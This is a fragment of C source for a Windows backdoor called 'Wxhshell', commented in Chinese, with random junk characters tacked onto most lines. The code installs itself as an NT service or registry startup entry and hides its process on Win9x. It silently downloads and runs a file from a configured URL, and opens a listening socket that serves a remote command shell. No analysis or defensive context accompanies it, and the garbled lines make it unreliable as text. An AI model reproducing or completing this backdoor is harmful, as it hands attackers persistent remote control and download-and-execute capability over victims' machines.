ULONG InheritedFromUniqueProcessId; =0]Mc$Ih
} PROCESS_BASIC_INFORMATION; [
$"iO#oO
/w!' [
PROCNTQSIP NtQueryInformationProcess; O@=mN*<gg0
[a
|fm*B!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v S+~4Q41
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \qTNWA#'
G#*!)#M <
HANDLE hProcess; c3pt?C
PROCESS_BASIC_INFORMATION pbi; TwhK>HN
8\V-aow
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mpF_+Mn
if(NULL == hInst ) return 0; *nC,=2
?\pE#~m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
Qom@-A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /1>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q,(&2./
{Jy%h8n*
if (!NtQueryInformationProcess) return 0; \rN_CBM
UQdQtj1'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cg|uHI*
if(!hProcess) return 0; 88*RlxU
d!LV@</
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <V8i>LBlz
/g9{zR [
CloseHandle(hProcess); Y'HF^jv]R
N*MR6~z4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7cy~qg
if(hProcess==NULL) return 0; xXYens}
B*AMo5
HMODULE hMod; V$_0VN'+Z
char procName[255]; @ixX?N)V
unsigned long cbNeeded; [;2:lbPx
DvKM>P%|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bYgYP|@
%N
CloseHandle(hProcess); H'`(|$:|
g|HrhUT;
if(strstr(procName,"services")) return 1; // 以服务启动 Zll^tF#
zn x_p/V
return 0; // 注册表启动 0X-2).nu
} \O?B9_
ri;M7rg`.{
// 主模块 Zs{R O
int StartWxhshell(LPSTR lpCmdLine) Tz-cN
{ iQIw]*h^
SOCKET wsl; `;qZ$HH
BOOL val=TRUE; {.OoOqq9
int port=0; (R}X(u
struct sockaddr_in door; E! <$J^
V<pqc&f.
if(wscfg.ws_autoins) Install(); //,'oh~W
~.lH)
port=atoi(lpCmdLine); Z4-dF;7
DmrfD28j~F
if(port<=0) port=wscfg.ws_port; . R}y"O\
bLzuaNa'
WSADATA data; |K-lgrA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y
m{/0&7
)l}wjKfgO
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; O*v+<|0!l
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M!l5,ycF
door.sin_family = AF_INET; D ` X6'PP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); QX=;,tr
door.sin_port = htons(port); Kzu9Qm-+z^
pi}H.iF
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5mNXWg7#]
closesocket(wsl); sZB6zTX
J
return 1; HXHPz4
} nQHd\/B
a0.3$
if(listen(wsl,2) == INVALID_SOCKET) { $?-o
closesocket(wsl); FxX3Pq8h
return 1; wIj2 IAD
} P$ef,ZW"
Wxhshell(wsl); Hu7zmh5FF
WSACleanup(); [\
YP8^..
5O W(] y|
return 0; (NC>[
P/9J!.Cm
} DOIWhd5:
-\$cGIL
// 以NT服务方式启动 jFTV\|C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 26VdRy{[
{ 2H+DT-hK
DWORD status = 0; 5(7MQuRR
DWORD specificError = 0xfffffff; BQ:Kx _
L)'rM-nkFh
serviceStatus.dwServiceType = SERVICE_WIN32; 15 11<,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "BfmX0&?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
73ljW
serviceStatus.dwWin32ExitCode = 0; ==Mi1Q#5C
serviceStatus.dwServiceSpecificExitCode = 0; 5 hadA>d
serviceStatus.dwCheckPoint = 0; Hk*cO;c
serviceStatus.dwWaitHint = 0; O9X:1>a@i
gA1in
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ydqmuZ%2h#
if (hServiceStatusHandle==0) return; ]q7 LoH'S
G)Bq?=P
status = GetLastError(); 6CmFmc,
if (status!=NO_ERROR) U hhmG+
{ XW Q0V
serviceStatus.dwCurrentState = SERVICE_STOPPED; o=#
[^Zv
serviceStatus.dwCheckPoint = 0; }cej5/*
serviceStatus.dwWaitHint = 0; v@uaf=x-
serviceStatus.dwWin32ExitCode = status; ?mR[A`J58
serviceStatus.dwServiceSpecificExitCode = specificError; mh7sY;SvM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b Ne\{k
return; gNN"
H#=2
} sg"D;b:X
)$h9Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; XJ~l5}y ]
serviceStatus.dwCheckPoint = 0; nSQ}yqM)
serviceStatus.dwWaitHint = 0; lO:{tV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &N_c-@2O
} K!c@aD:#
eu]iwOc&p
// 处理NT服务事件,比如:启动、停止 ls7A5 <
VOID WINAPI NTServiceHandler(DWORD fdwControl) U.7y8#qf3R
{ `N.$LY;8
switch(fdwControl) {3(.c, q@
{ Z;~[@7`
case SERVICE_CONTROL_STOP: <ii1nz
serviceStatus.dwWin32ExitCode = 0; E5BgQ5'
serviceStatus.dwCurrentState = SERVICE_STOPPED; LZC?383'
serviceStatus.dwCheckPoint = 0; y2$;t'
serviceStatus.dwWaitHint = 0; Cm;qDvj+u
{ ^+Vk#_2Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YQ@6innT
} J-\?,4mcP
return; RL
Zf{Q>
case SERVICE_CONTROL_PAUSE: TWR$D
serviceStatus.dwCurrentState = SERVICE_PAUSED; t<k[W'#
break; s
P4,S(+e
case SERVICE_CONTROL_CONTINUE: jc.JX_/
serviceStatus.dwCurrentState = SERVICE_RUNNING; zMYd|2bc
break; "I}Z2
case SERVICE_CONTROL_INTERROGATE: 8Cs$NUU
break; .`&/QiD
}; 1uS-Tx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Ct*G=
N
} nlebFDb7
C{hcK 1-K
// 标准应用程序主函数 M1^C8cz
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) soq".+Q
{ %L13Jsw
l \^nC2
// 获取操作系统版本 +Sd,l>8\
OsIsNt=GetOsVer(); G(0y|Eq
GetModuleFileName(NULL,ExeFile,MAX_PATH); "c/s/$k//
Ryq"\Q>+
// 从命令行安装 ZutB_uW
if(strpbrk(lpCmdLine,"iI")) Install(); loUl$X.u
CSL{Q
// 下载执行文件 y /:T(tk$
if(wscfg.ws_downexe) { \;*}zX
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d$_q=ywc
WinExec(wscfg.ws_filenam,SW_HIDE); ?5yH'9zE
} uB<F.!3
{y:#'n
if(!OsIsNt) { U7"BlT!V\
// 如果时win9x,隐藏进程并且设置为注册表启动 H
:
T N
HideProc(); .K@x4
/1
StartWxhshell(lpCmdLine); q#(/*AoU
} HD:%Yv
else |N$?_<H
if(StartFromService()) 9S1Ti6A
// 以服务方式启动 },fo+vRM
StartServiceCtrlDispatcher(DispatchTable); u.kYp
else Sc'c$/
// 普通方式启动 PNJe&q0*
StartWxhshell(lpCmdLine); f>8B'%]
!rXcGj(k
return 0; /iUUM
t'
}